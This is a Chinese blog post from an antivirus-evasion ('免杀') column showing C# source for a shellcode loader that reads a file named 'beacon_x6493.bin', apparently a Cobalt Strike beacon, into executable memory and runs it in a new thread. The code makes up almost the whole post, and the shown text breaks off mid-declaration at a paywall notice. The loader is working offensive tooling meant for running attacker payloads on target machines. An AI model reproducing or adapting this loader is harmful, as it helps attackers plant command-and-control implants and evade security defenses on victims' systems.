c#加载shellcode

番茄酱料

于 2024-11-15 18:08:08 发布

阅读量817

点赞数 15

分类专栏：免杀 red 文章标签： c# 网络安全

本文链接：https://blog.csdn.net/bring_coco/article/details/143804986

版权

本地加载bin文件

SharpPELoader项目如下：

using System;
using System.IO;
using System.Runtime.InteropServices;

namespace TestShellCode
{
   
    internal class Program
    {
   
        private const uint MEM_COMMIT = 0x1000;
        private const uint PAGE_EXECUTE_READWRITE = 0x40;
        private const uint INFINITE = 0xFFFFFFFF;

        static void Main(string[] args)
        {
   
            string shellcodeFilePath = "beacon_x6493.bin";

            if (!File.Exists(shellcodeFilePath))
            {
   
                Console.WriteLine("Shellcode file not found.");
                return;
            }

            byte[] shellcode = File.ReadAllBytes(shellcodeFilePath);
            IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

            if (funcAddr == IntPtr.Zero)
            {
   
                Console.WriteLine($"VirtualAlloc failed with error code {
     Marshal.GetLastWin32Error()}.");
                return;
            }

            Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, out uint threadId);

            if (hThread == IntPtr.Zero)
            {
   
                Console.WriteLine($"CreateThread failed with error code {
     Marshal.GetLastWin32Error()}.");
                VirtualFree(funcAddr, 0, MEM_COMMIT);
                return;
            }

            WaitForSingleObject(hThread, INFINITE);

            CloseHandle(hThread);
            VirtualFree(funcAddr, 0, MEM_COMMIT);
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern

最低0.47元/天解锁文章